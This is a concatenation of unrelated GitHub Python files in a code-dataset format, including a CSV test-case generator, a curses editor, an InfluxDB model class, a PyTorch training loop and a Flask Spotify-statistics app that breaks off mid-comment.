Кейс 4. Импорт файла, в котором встречаются тесты для одной кампании с пересекающимися периодами\ndef intersections_same_file(row_number):\n file_name = \"4_intersections_same_file.csv\"\n error_file_name = \"4_error_rows.txt\"\n error_list = []\n duplicate_row = 1\n if row_number > 1 and row_number <= 10:\n duplicate_row = random.randint(2, row_number)\n elif row_number > 5:\n duplicate_row = random.randint(2, 5)\n _create_file(file_name)\n counter = 0\n while counter < row_number:\n campaign_name = _get_campaign_name()\n start_date = _get_start_date(0)\n end_date = _get_end_date(start_date, 3)\n row = _create_row(campaign_name, start_date, end_date)\n _write_to_file(file_name, row)\n counter += 1\n if counter % duplicate_row == 0 and counter < row_number:\n start_date = _get_start_date(\n random.choice([i for i in range(-2, 2) if i != 0])\n )\n end_date = _get_end_date(start_date, 3)\n row = _create_row(campaign_name, start_date, end_date)\n _write_to_file(file_name, row)\n counter += 1\n error_list.append(counter + 1)\n with open(\n \"cases\" + os.sep + error_file_name, \"w\", encoding=\"utf-8\", newline=\"\"\n ) as result:\n writer = csv.writer(result)\n writer.writerow(\n [\n \"Кейс 4. Импорт файла в котором встречаются тесты для одной кампании с пересекающимися периодами. Ошибки должны быть в строках: \"\n ]\n )\n writer.writerow(error_list)\n\n\n# Кейс 5. Импорт двух файлов, в которых встречаются тесты для одной кампании с пересекающимися периодами\ndef intersections_different_files(row_number):\n file_name_1 = \"5_intersections_different_files_1.csv\"\n file_name_2 = \"5_intersections_different_files_2.csv\"\n error_file_name = \"5_error_rows.txt\"\n error_list = []\n duplicate_row = 1\n if row_number > 1 and row_number <= 10:\n duplicate_row = random.randint(2, row_number)\n elif row_number > 5:\n duplicate_row = random.randint(2, 5)\n _create_file(file_name_1)\n _create_file(file_name_2)\n counter = 0\n while counter < row_number:\n campaign_name = _get_campaign_name()\n start_date = _get_start_date(0)\n end_date = _get_end_date(start_date, 3)\n row = _create_row(campaign_name, start_date, end_date)\n _write_to_file(file_name_1, row)\n counter += 1\n if (counter + 1) % duplicate_row == 0 and counter < row_number:\n start_date = _get_start_date(\n random.choice([i for i in range(-2, 3) if i != 0])\n )\n end_date = _get_end_date(start_date, 3)\n row = _create_row(campaign_name, start_date, end_date)\n _write_to_file(file_name_2, row)\n error_list.append(counter + 1)\n else:\n campaign_name = _get_campaign_name()\n start_date = _get_start_date(0)\n end_date = _get_end_date(start_date, 3)\n row = _create_row(campaign_name, start_date, end_date)\n _write_to_file(file_name_2, row)\n with open(\n \"cases\" + os.sep + error_file_name, \"w\", encoding=\"utf-8\", newline=\"\"\n ) as result:\n writer = csv.writer(result)\n writer.writerow(\n [\n \"Кейс 5. Импорт двух файлов, в которых встречаются тесты для одной кампании с пересекающимися периодами. Ошибки должны быть в строках: \"\n ]\n )\n writer.writerow(error_list)\n\n\n# Кейс 6. Импорт теста с датой завершения раньше даты начала\ndef end_date_before_start_date(row_number):\n file_name = \"6_end_date_before_start_date.csv\"\n error_file_name = \"6_error_rows.txt\"\n error_list = []\n _create_file(file_name)\n error_row = 1\n if row_number > 1 and row_number < 5:\n error_row = random.randint(2, row_number)\n elif row_number > 5:\n error_row = random.randint(2, 5)\n for counter in range(row_number):\n if (counter + 1) % error_row == 0 and counter < row_number:\n campaign_name = _get_campaign_name()\n start_date = _get_start_date(0)\n end_date = _get_end_date(start_date, -2)\n row = _create_row(campaign_name, start_date, end_date)\n _write_to_file(file_name, row)\n error_list.append(counter + 2)\n else:\n campaign_name = _get_campaign_name()\n start_date = _get_start_date(0)\n end_date = _get_end_date(start_date, 1)\n row = _create_row(campaign_name, start_date, end_date)\n _write_to_file(file_name, row)\n with open(\n \"cases\" + os.sep + error_file_name, \"w\", encoding=\"utf-8\", newline=\"\"\n ) as result:\n writer = csv.writer(result)\n writer.writerow(\n [\n \"Кейс 6. Импорт теста с датой завершения раньше даты начала. Ошибки должны быть в строках: \"\n ]\n )\n writer.writerow(error_list)\n\n\n# Кейс 7. Импорт теста с опечаткой\ndef test_with_typo(row_number):\n file_name = \"7_test_with_typo.csv\"\n error_file_name = \"7_error_rows.txt\"\n error_list = []\n _create_file(file_name)\n error_row = 1\n if row_number > 1 and row_number < 3:\n error_row = random.randint(2, row_number)\n elif row_number > 3:\n error_row = random.randint(2, 3)\n for counter in range(row_number):\n if (counter + 1) % error_row == 0 and counter < row_number:\n campaign_name = _get_campaign_name()\n start_date = _get_start_date(0)\n end_date = _get_end_date(start_date, 1)\n part_to_typo = random.randint(1, 3)\n if part_to_typo == 1:\n campaign_name = _typo_generator(campaign_name)\n elif part_to_typo == 2:\n start_date = _typo_generator(start_date)\n elif part_to_typo == 3:\n end_date = _typo_generator(end_date)\n row = _create_row(campaign_name, start_date, end_date)\n _write_to_file(file_name, row)\n error_list.append(counter + 2)\n else:\n campaign_name = _get_campaign_name()\n start_date = _get_start_date(0)\n end_date = _get_end_date(start_date, 1)\n row = _create_row(campaign_name, start_date, end_date)\n _write_to_file(file_name, row)\n with open(\n \"cases\" + os.sep + error_file_name, \"w\", encoding=\"utf-8\", newline=\"\"\n ) as result:\n writer = csv.writer(result)\n writer.writerow(\n [\"Кейс 7. Импорт теста с опечаткой. Ошибки должны быть в строках: \"]\n )\n writer.writerow(error_list)\n","repo_name":"Nenris/RTG_Panel_case_generator","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":15687,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33842458814","text":"import curses\nfrom curses import textpad\nimport textwrap\nfrom textstat import textstat\nimport os\nfrom autocorrect import Speller\n\n# ---- init ----\n\ncheck = Speller(lang='en')\nos.system('color')\n\ndef main(stdscr):\n # ---- init ----\n global textbox_win, text_border, text\n curses.init_pair(1, curses.COLOR_WHITE, curses.COLOR_BLUE)\n curses.curs_set(0)\n while 1:\n try:\n stdscr.refresh()\n y, x = stdscr.getmaxyx()\n curses.curs_set(1)\n\n #---- Text Box and border ----\n controlwin = curses.newwin(1,x, y-1, 0)\n status = \"Press Ctrl + G to exit editor\"\n bartxt = f\"Cant exit while editing | Status : {status}\"\n controlwin.clear()\n controlwin.addstr(0, (x//2)-len(bartxt)//2, bartxt,curses.color_pair(1))\n controlwin.refresh()\n\n\n text_border = curses.newwin(y-1, x//2, 0, 0)\n text_border.box()\n text_border.addstr(0,2, \"Edit:\")\n text_border.refresh()\n textbox_win = curses.newwin(y-3, (x//2)-2, 1,1)\n tb = curses.textpad.Textbox(textbox_win)\n text = tb.edit()\n curses.curs_set(0)\n\n\n text_border.refresh()\n y2, x2 = text_border.getyx()\n stdscr.refresh()\n\n textbox_win.addstr(1,1,check(text))\n text_border.refresh()\n\n # ----stats windows init----\n statswin = curses.newwin((y // 2) - 1, (x - x2) // 2, 0, (x // 2))\n statswin.box()\n statswin.addstr(1,1,f\"Word Count: {str(textstat.lexicon_count(text, removepunct=True))} Words\")\n statswin.addstr(2,1,f\"Character Count: {str(textstat.char_count(text)-1)} Characters\")\n statswin.addstr(3,1,f\"Reading time: {str(textstat.reading_time(text, ms_per_char=25))} Seconds\")\n statswin.addstr(4,1,f\"Total score: {str(textstat.text_standard(text))}\")\n statswin.addstr(5,1,f\"Syllables Count: {str(textstat.syllable_count(text))} Syllables\")\n\n\n statswin.refresh()\n #---\n text_border.box()\n controlwin.clear()\n status = \"Press any button to start\"\n text_border.addstr(0,2, \"Edit:\")\n bartxt = f\"Press q to exit | Status : {status} | Press c twice to AutoCorrect (Experimental)\"\n controlwin.addstr(0, (x // 2) - len(bartxt)//2, bartxt, curses.color_pair(1))\n controlwin.refresh()\n\n # text_border.refresh()\n\n\n\n\n finally:\n while 1:\n if stdscr.getkey() == 'q':\n curses.endwin()\n quit()\n elif stdscr.getkey() == 'c':\n text_border.addstr(0, 2, \"AutoCorrect Preview:\")\n hs = text_border.subwin(1,1)\n hs.addstr(1,1,textwrap.fill(check(text)))\n text_border.refresh()\n\n else:\n break\n\n\nif __name__ == \"__main__\":\n curses.wrapper(main)","repo_name":"HAlafeefi/Curses-Editor","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29084257788","text":"# coding: utf-8\n\n\"\"\"\nInfluxDB OSS API Service.\n\nThe InfluxDB v2 API provides a programmatic interface for all interactions with InfluxDB. Access the InfluxDB API using the `/api/v2/` endpoint. # noqa: E501\n\nOpenAPI spec version: 2.0.0\nGenerated by: https://openapi-generator.tech\n\"\"\"\n\n\nimport pprint\nimport re # noqa: F401\n\n\nclass Axis(object):\n \"\"\"NOTE: This class is auto generated by OpenAPI Generator.\n\n Ref: https://openapi-generator.tech\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n openapi_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n openapi_types = {\n 'bounds': 'list[str]',\n 'label': 'str',\n 'prefix': 'str',\n 'suffix': 'str',\n 'base': 'str',\n 'scale': 'AxisScale'\n }\n\n attribute_map = {\n 'bounds': 'bounds',\n 'label': 'label',\n 'prefix': 'prefix',\n 'suffix': 'suffix',\n 'base': 'base',\n 'scale': 'scale'\n }\n\n def __init__(self, bounds=None, label=None, prefix=None, suffix=None, base=None, scale=None): # noqa: E501,D401,D403\n \"\"\"Axis - a model defined in OpenAPI.\"\"\" # noqa: E501\n self._bounds = None\n self._label = None\n self._prefix = None\n self._suffix = None\n self._base = None\n self._scale = None\n self.discriminator = None\n\n if bounds is not None:\n self.bounds = bounds\n if label is not None:\n self.label = label\n if prefix is not None:\n self.prefix = prefix\n if suffix is not None:\n self.suffix = suffix\n if base is not None:\n self.base = base\n if scale is not None:\n self.scale = scale\n\n @property\n def bounds(self):\n \"\"\"Get the bounds of this Axis.\n\n The extents of the axis in the form [lower, upper]. Clients determine whether bounds are inclusive or exclusive of their limits.\n\n :return: The bounds of this Axis.\n :rtype: list[str]\n \"\"\" # noqa: E501\n return self._bounds\n\n @bounds.setter\n def bounds(self, bounds):\n \"\"\"Set the bounds of this Axis.\n\n The extents of the axis in the form [lower, upper]. Clients determine whether bounds are inclusive or exclusive of their limits.\n\n :param bounds: The bounds of this Axis.\n :type: list[str]\n \"\"\" # noqa: E501\n self._bounds = bounds\n\n @property\n def label(self):\n \"\"\"Get the label of this Axis.\n\n Description of the axis.\n\n :return: The label of this Axis.\n :rtype: str\n \"\"\" # noqa: E501\n return self._label\n\n @label.setter\n def label(self, label):\n \"\"\"Set the label of this Axis.\n\n Description of the axis.\n\n :param label: The label of this Axis.\n :type: str\n \"\"\" # noqa: E501\n self._label = label\n\n @property\n def prefix(self):\n \"\"\"Get the prefix of this Axis.\n\n Label prefix for formatting axis values.\n\n :return: The prefix of this Axis.\n :rtype: str\n \"\"\" # noqa: E501\n return self._prefix\n\n @prefix.setter\n def prefix(self, prefix):\n \"\"\"Set the prefix of this Axis.\n\n Label prefix for formatting axis values.\n\n :param prefix: The prefix of this Axis.\n :type: str\n \"\"\" # noqa: E501\n self._prefix = prefix\n\n @property\n def suffix(self):\n \"\"\"Get the suffix of this Axis.\n\n Label suffix for formatting axis values.\n\n :return: The suffix of this Axis.\n :rtype: str\n \"\"\" # noqa: E501\n return self._suffix\n\n @suffix.setter\n def suffix(self, suffix):\n \"\"\"Set the suffix of this Axis.\n\n Label suffix for formatting axis values.\n\n :param suffix: The suffix of this Axis.\n :type: str\n \"\"\" # noqa: E501\n self._suffix = suffix\n\n @property\n def base(self):\n \"\"\"Get the base of this Axis.\n\n Radix for formatting axis values.\n\n :return: The base of this Axis.\n :rtype: str\n \"\"\" # noqa: E501\n return self._base\n\n @base.setter\n def base(self, base):\n \"\"\"Set the base of this Axis.\n\n Radix for formatting axis values.\n\n :param base: The base of this Axis.\n :type: str\n \"\"\" # noqa: E501\n self._base = base\n\n @property\n def scale(self):\n \"\"\"Get the scale of this Axis.\n\n :return: The scale of this Axis.\n :rtype: AxisScale\n \"\"\" # noqa: E501\n return self._scale\n\n @scale.setter\n def scale(self, scale):\n \"\"\"Set the scale of this Axis.\n\n :param scale: The scale of this Axis.\n :type: AxisScale\n \"\"\" # noqa: E501\n self._scale = scale\n\n def to_dict(self):\n \"\"\"Return the model properties as a dict.\"\"\"\n result = {}\n\n for attr, _ in self.openapi_types.items():\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Return the string representation of the model.\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`.\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Return true if both objects are equal.\"\"\"\n if not isinstance(other, Axis):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Return true if both objects are not equal.\"\"\"\n return not self == other\n","repo_name":"influxdata/influxdb-client-python","sub_path":"influxdb_client/domain/axis.py","file_name":"axis.py","file_ext":"py","file_size_in_byte":6312,"program_lang":"python","lang":"en","doc_type":"code","stars":629,"dataset":"github-code","pt":"72"} +{"seq_id":"43770417701","text":"from bs4 import BeautifulSoup\nimport os\nimport string\nfrom multiprocessing import Pool\n\nsrc_folder = 'decompressed_gigaword'\ndest_folder = 'parsed_gigaword'\n\ndef parse_op(filename):\n\tprint(filename)\n\tparser = GigawordParser(src_folder, filename, dest_folder)\n\tparser.parse()\n\nclass GigawordParser():\n\t\n\tdef __init__(self, src_folder, filename, dest_folder):\n\t\tself.filename = filename\n\t\twith open(src_folder + '/' + filename) as f:\n\t\t\tself.soup = BeautifulSoup(f, \"html5lib\")\n\t\tself.dest_folder = dest_folder\n\t\n\tdef parse(self):\n\t\twith open(self.dest_folder + '/' + self.filename, 'w') as f:\n\t\t\tfor p in self.soup.find_all(\"p\"):\t\n\t\t\t\tprint(p.string.replace('\\n',' ').strip(), file=f)\n\n# .translate(None, string.punctuation).lower(), file=f\n\npool = Pool(4)\npool.map(parse_op, os.listdir(src_folder))\n","repo_name":"feventurini/eyewordembed","sub_path":"preprocessing/parse_gigaword.py","file_name":"parse_gigaword.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24386775167","text":"import numpy as np\r\nfrom sklearn.linear_model import LinearRegression\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.animation as animation\r\n\r\nX = np.array([[2000], [2002], [2005], [2007], [2010]])\r\ny = np.array([6.5, 7.0, 7.4, 8.2, 9.0])\r\n\r\nmodel = LinearRegression()\r\n\r\nmodel.fit(X, y)\r\n\r\nrok = [[2021]]\r\nprzewidywany_procent = model.predict(rok)\r\nrok = [[2023]]\r\nprzewidywany_procent2 = model.predict(rok)\r\n\r\nprint(\"Przewidywany procent bezrobotnych w 2021 roku: {:.3f}%\".format(przewidywany_procent[0]))\r\nprint(\"Wynik przekroczy 12% w 2023 roku: {:.3f}%\".format(przewidywany_procent2[0]))\r\n\r\nfig, ax = plt.subplots()\r\nax.scatter(X, y)\r\n\r\nline, = ax.plot([], [])\r\n\r\ndef animate(i):\r\n model.fit(X, y)\r\n\r\n a = model.coef_[0]\r\n b = model.intercept_\r\n\r\n y_pred = a * X + b\r\n\r\n line.set_data(X, y_pred)\r\n\r\n return line,\r\n\r\nani = animation.FuncAnimation(fig, animate, frames=10, blit=True)\r\n\r\nplt.show()\r\n","repo_name":"Szymek13/ST-2023-SzymonMilewski","sub_path":"lab3/lab3_1.py","file_name":"lab3_1.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2694661077","text":"\nprint(\"求一元二次方程的根\");\n\nimport cmath;\nimport math;\n\na = float(input(\"a 的值: \"));\nb = float(input(\"b 的值: \"));\nc = float(input(\"c 的值: \"));\n\ndelta = b ** 2 - 4 * a * c;\n\nprint(\"delta的值: {0}\".format(delta));\n\nif 0 == delta:\n\tx = -b / (2 * a);\n\tprint(\"x 的值为{0}\".format(x));\nelif delta > 0 :\n\tx1 = (-b + math.sqrt(delta)) / (2 * a);\n\tx2 = (-b - math.sqrt(delta)) / (2 * a);\n\tprint(\"x1的值为{0}, x2的值为{1}\".format(x1, x2));\nelse:\n\tx1 = (-b + cmath.sqrt(delta)) / (2 * a);\n\tx2 = (-b - cmath.sqrt(delta)) / (2 * a);\n\tprint(\"x1的值为{0}, x2的值为{1}\".format(x1, x2));","repo_name":"liangjisheng/python-demos","sub_path":"base1/quadratic2.py","file_name":"quadratic2.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8396075641","text":"# -*- coding: utf-8 -*-\nfrom django import template\nfrom django.utils.datastructures import SortedDict\n\n\nregister = template.Library()\n\n\n@register.simple_tag\ndef render_solr_field(field):\n # these are options supported by solr but not by haystack\n non_default_field_options = [\n ('multiValued', 'multi_valued'),\n ('omitNorms', 'omit_norms'),\n ('termVectors', 'term_vectors'),\n ('termPositions', 'term_positions'),\n ('termOffsets', 'term_offsets'),\n ]\n\n # use sorted dict to keep consistency\n attributes = SortedDict()\n attributes['name'] = field['field_name']\n attributes['type'] = field['type']\n attributes['indexed'] = field['indexed']\n attributes['stored'] = field['stored']\n\n for field_name, option in non_default_field_options:\n if option in field:\n attributes[field_name] = field[option]\n\n flat = ''.join(' {0}=\"{1}\"'.format(*attrs) for attrs in attributes.items())\n return '<field {}/>'.format(flat)\n","repo_name":"divio/django-commonsearch","sub_path":"commonsearch/templatetags/commonsearch_tags.py","file_name":"commonsearch_tags.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"11747923145","text":"from libs.TDContainer import TDContainer\nimport torch\nimport torch.optim as optim\nimport time\nfrom torch import nn\nfrom torch.utils.tensorboard import SummaryWriter\nimport os\nimport numpy as np\nfrom sklearn.metrics import accuracy_score # computes subset accuracy: the set of labels predicted for a sample must exactly match the corresponding set of labels in y_true. https://scikit-learn.org/stable/modules/generated/sklearn.metrics.accuracy_score.html\nimport torchvision.models as models\nfrom torch.utils.data import DataLoader\n\nclass AvgMeter():\n \"\"\" Calculates the loss and accuracy on individual batches\"\"\"\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.sum = 0\n self.num = 0\n\n def add(self, value, num):\n self.sum += value*num\n self.num += num\n\n def value(self):\n try:\n return self.sum/self.num\n except:\n return None\n\ndef train(model: models, dst_container: TDContainer, criterion: nn, optimizer: optim, num_epochs: int=10, train_from_epoch: int=0, save_each: int=20, model_name: str='experiment', resume_global_step_from: int=0):\n \n logdir = 'logs'\n modeldir = 'models'\n\n time_start = time.time()\n\n # meters\n loss_meter = AvgMeter()\n acc_meter = AvgMeter()\n\n # writer\n writer = SummaryWriter(os.path.join(logdir, model_name))\n\n # device\n device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n model.to(device)\n\n loader = {\n 'train': dst_container.training_loader,\n 'validation': dst_container.validation_loader\n }\n global_step = 0 + resume_global_step_from\n for e in range(num_epochs):\n print('Epoch %d/%d' % (e, num_epochs - 1))\n print('-' * 10)\n\n for mode in ['train', 'validation']:\n loss_meter.reset(); acc_meter.reset()\n model.train() if mode == 'train' else model.eval()\n with torch.set_grad_enabled(mode=='train'): # update gradient only in training\n for i, batch in enumerate(loader[mode]):\n x = batch[0].to(device)\n y = batch[1].to(device)\n output = model(x)\n\n # update global step that will cointain number of batches in training\n n = x.shape[0] # number of element in batch\n global_step += n\n l = criterion(output, y)\n\n if mode == 'train':\n l.backward()\n optimizer.step()\n optimizer.zero_grad()\n\n acc = accuracy_score(y.to('cpu'), output.to('cpu').max(1)[1]) # device ??\n loss_meter.add(l.item(), n)\n acc_meter.add(acc,n)\n\n if mode == 'train':\n writer.add_scalar('loss/train', loss_meter.value(), global_step=global_step)\n writer.add_scalar('accuracy/train', acc_meter.value(), global_step=global_step)\n\n writer.add_scalar('loss/' + mode, loss_meter.value(), global_step=global_step)\n writer.add_scalar('accuracy/' + mode, acc_meter.value(), global_step=global_step)\n \n print('{} Loss: {:.4f} Acc: {:.4f}'.format(mode, loss_meter.value(), acc_meter.value()))\n\n if ((e+1) % save_each == 0 ):\n torch.save(model.state_dict(), modeldir + '/%s-%d.pth'%(model_name, (e+1) + train_from_epoch ) )\n\n time_elapsed = time.time() - time_start\n \n print('Training complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60, time_elapsed % 60))\n\n return model\n\n\ndef test(model: models, loader: DataLoader):\n device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n model.to(device)\n predictions, labels = [], []\n for batch in loader:\n x = batch[0].to(device)\n y = batch[1].to(device)\n output = model(x)\n preds = output.to('cpu').max(1)[1].numpy()\n labs = y.to('cpu').numpy()\n predictions.extend(list(preds))\n labels.extend(list(labs))\n return np.array(predictions), np.array(labels)","repo_name":"khalld/trashbin-classifier","sub_path":"libs/Training.py","file_name":"Training.py","file_ext":"py","file_size_in_byte":4097,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"44393725484","text":"import os\nimport pandas\nimport yaml\n\nfrom traceback import format_exc\n\nfrom data.InfoExtoractor import InfoExtoractor\nfrom logger.Log import log\nfrom imageeditor.ImageEditor import ImageEditor\n\nclass Main(object):\n \"\"\"\n \"\"\"\n\n # Contains prefectural office coodinates\n __supported_names = {\"東京都\": [139.6921328842392, 35.68977795847866]}\n\n def __init__(self) -> None:\n\n self.__is_initialized = False\n\n self.outputpath = str()\n api_url = str()\n self.targets = list()\n\n current_path = os.path.dirname(__file__)\n conf_path = os.path.join(current_path, \"conf\", \"settings.yaml\")\n try:\n with open(conf_path, \"r\") as yml:\n config = yaml.safe_load(yml)\n self.outputpath = config[\"Output\"][\"path\"]\n api_url = config[\"API\"][\"coordinate_url\"]\n self.targets = config[\"Target_Prefecture\"]\n except Exception:\n log.error(format_exc())\n log.error(\"Failed to import config.\")\n return None\n\n self.extoractor = InfoExtoractor(api_url)\n # print(config)\n\n self.__is_initialized = True\n\n return None\n\n def main(self):\n\n if not self.__is_initialized:\n return None\n\n for target in self.targets:\n if target not in self.__supported_names:\n log.critical(f\"{target} is not supported.\")\n log.critical(f\"Supported : {self.__supported_names} \")\n return None\n\n log.info(f\"Start to create image for {target}\")\n info_df = self.extoractor.make_population_df(target)\n if info_df is None or type(info_df) != pandas.DataFrame or info_df.empty:\n return None\n\n imageeditor = ImageEditor(self.outputpath)\n if not imageeditor.is_initialized():\n log.error(\"Failed to initialized Image Editor.\")\n return None\n _ = imageeditor.make_images(info_df, self.__supported_names[target], target)\n imageeditor = None\n\n log.info(\"Completed.\")\n\n\nif __name__ == \"__main__\":\n main = Main()\n main.main()\n","repo_name":"kcjweo/make_population_images","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"837412359","text":"# Aditi Singh\n# ITP 216 (32081) - Fall 2021\n# Final Project\n\n# import all necessary packages\nfrom flask import Flask, redirect, render_template, request, session, url_for, send_file\nimport io\nfrom io import BytesIO\nimport os\nimport csv\nimport sqlite3 as sl\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.neighbors import KNeighborsClassifier\nimport matplotlib\nmatplotlib.use(\"Agg\")\n\n\napp = Flask(__name__)\n\n# Description: Gets the home page; 1st GET request\n# Parameters: 0\n# Returns: Template for home page\n# 1st GET request\n@app.route(\"/\")\ndef home():\n return render_template('home.html', numminutes=str(round(totalnumminutes()[0]/60000)), songname=songnameplayed()[1],\n artistname=songnameplayed()[0], songplayed=songnameplayed()[2])\n\n\n# Description: Checks which radiobutton the client chose from user input; 1st POST request\n# Parameters: 0\n# Returns: Redirects to appropriate dynamic GET endpoint\n@app.route(\"/viz\", methods=[\"POST\"])\ndef visualization():\n if request.method == \"POST\":\n inp = request.form[\"mins\"]\n return redirect(url_for('rdirect', inp=inp))\n\n\n# Description: Checks if the client chose the radio button to visualize artists or songs and gets the respective\n# endpoint; 2nd (dynamic) GET request\n# Parameters: 1 (inp - either song or artist)\n# Returns: Redirects to appropriate endpoints\n@app.route(\"/direct<inp>\", methods=[\"POST\"])\ndef rdirect(inp):\n if inp == \"songs\":\n # GET request\n return redirect(url_for('songViz'))\n else:\n # GET request\n return redirect(url_for('artistViz'))\n\n# Description: Redirects to artist html page\n# Parameters: 0\n# Returns: Redirects to appropriate endpoints\n@app.route(\"/directartists\")\ndef artistViz():\n return render_template('artist.html')\n\n\n# Description: Creates the visualization between top 10 artists and minutes streamed\n# Parameters: 0\n# Returns: png image of plot viz\n@app.route(\"/plot1\")\ndef plot1():\n data = extract10artists()\n artist = []\n playtime = []\n for x in data:\n artist.append(x[0])\n playtime.append(x[1]/60000)\n\n fig, ax1 = plt.subplots(1)\n ax1.bar(artist, playtime)\n ax1.set(title=\"Top 10 artists and number of minutes streamed in total\")\n plt.xlabel(\"Artist name\")\n plt.xticks(rotation=45, ha=\"right\")\n plt.ylabel(\"Minutes streamed\")\n fig.tight_layout()\n\n img_bytes = BytesIO()\n fig.savefig(img_bytes)\n img_bytes.seek(0)\n return send_file(img_bytes, mimetype='image/png')\n\n\n# Description: Redirects to song html page\n# Parameters: 0\n# Returns: Redirects to appropriate endpoints\n@app.route(\"/directsongs\")\ndef songViz():\n return render_template('song.html')\n\n\n# Description: Creates the visualization between top 10 songs and minutes streamed\n# Parameters: 0\n# Returns: png image of plot viz\n@app.route(\"/plot2\")\ndef plot2():\n data = extract10songs()\n song = []\n playtime = []\n for x in data:\n song.append(x[0])\n playtime.append(x[1]/60000)\n\n fig, ax1 = plt.subplots(1)\n ax1.bar(song, playtime)\n ax1.set(title=\"Top 10 songs and number of minutes streamed in total\")\n plt.xlabel(\"Song name\")\n plt.xticks(rotation=45, ha=\"right\")\n plt.ylabel(\"Minutes streamed\")\n fig.tight_layout()\n\n img_bytes = BytesIO()\n fig.savefig(img_bytes)\n img_bytes.seek(0)\n return send_file(img_bytes, mimetype='image/png')\n\n\n# Description: Predicts an artist's popularity based on the minutes entered by the user (gotten through the post request\n# ) and calls the function that deals with machine learning\n# Parameters: 0\n# Returns: template for the prediction html that shows artist's popularity based on minutes streamed of their music\n# 2nd POST request\n@app.route(\"/predict\", methods=[\"POST\", \"GET\"])\ndef prediction():\n if request.method == \"POST\":\n minute = request.form[\"min\"]\n df = mutatedataset()\n pred = ml(df, float(minute))\n if pred == 1:\n pop = \"popular\"\n elif pred == 2:\n pop = \"average\"\n else:\n pop = \"not popular\"\n # GET request\n return render_template('prediction.html', min=minute, prediction=pop)\n\n\n# Description: Given a month inputted by the user, finds common statistics like min, max, avg, sum of the minutes played\n# of music that month\n# Parameters: 0\n# Returns: template for the scientific computation part\n@app.route(\"/month\", methods=[\"POST\", \"GET\"])\ndef month():\n if request.method == \"POST\":\n month = request.form[\"month\"]\n min, max, avg, sum = scientific_comp(month) # used pandas for these aggregations\n return render_template('month.html', month=month, min=round(min), max=round(max), avg=round(avg), sum=round(sum))\n\n\n# Description: find the total ms played of music in the past year\n# Parameters: 0\n# Returns: result of the SQL query\ndef totalnumminutes():\n data = curs.execute(\"SELECT SUM(msPlayed) FROM streaming;\")\n for record in data:\n return record\n\n\n# Description: finds the artist of the song that was most played and also finds out how many times that particular\n# song was played\n# Parameters: 0\n# Returns: result of the SQL query\ndef songnameplayed():\n data = curs.execute(\"SELECT artistName, trackName, count(*) as cnt FROM streaming WHERE msPlayed != 0 GROUP BY \"\n \"trackName ORDER BY cnt desc LIMIT 1;\")\n for record in data:\n return record\n\n\n# Description: finds the top 10 artists based on the number of ms of songs played by them\n# Parameters: 0\n# Returns: result of the SQL query\ndef extract10artists():\n data = curs.execute(\"SELECT artistName, SUM(msPlayed) as total FROM streaming GROUP BY artistName ORDER BY total \"\n \"desc LIMIT 10;\")\n return data\n\n\n# Description: find the top 10 songs played by the user based on ms played\n# Parameters: 0\n# Returns: result of the SQL query\ndef extract10songs():\n data = curs.execute(\"SELECT trackName, SUM(msPlayed) as total FROM streaming GROUP BY trackName ORDER BY total \"\n \"desc LIMIT 10;\")\n return data\n\n\n# Description: mutates the dataset to create a new variable called artistPopularity that measures how popular a\n# particular artists' music based on the ms of songs played by them\n# not popular(3): between 0ms to the mean ms played\n# average(2): between mean ms played to the average between mean ms played to max ms played\n# popular(1): between the average between mean ms played and max ms played to max ms played (due to very high outliers)\n# Parameters: 0\n# Returns: dataframe after the SQL query and manipulation\n# using pandas to manipulate data\ndef mutatedataset():\n data = curs.execute(\"SELECT artistName, SUM(msPlayed) as totalPlayed FROM streaming GROUP BY artistName\")\n cols = [column[0] for column in data.description]\n df = pd.DataFrame.from_records(data=data.fetchall(), columns=cols)\n\n df = df.assign(artistPopularity=pd.cut(df['totalPlayed'],\n bins=[-1, round(df[\"totalPlayed\"].mean()),\n round((df[\"totalPlayed\"].mean()+df[\"totalPlayed\"].max())/2),\n df[\"totalPlayed\"].max()],\n labels=['3', '2', '1']))\n return df\n\n\n# Description: deals with the machine learning aspect. predicts an artist's popularity based on the given ms played\n# input data - used ms played as the feature and artist performance as the label\n# 